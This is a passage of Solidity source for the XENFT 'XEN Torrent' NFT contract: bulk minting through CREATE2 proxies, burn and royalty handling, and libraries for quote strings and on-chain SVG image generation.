{\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
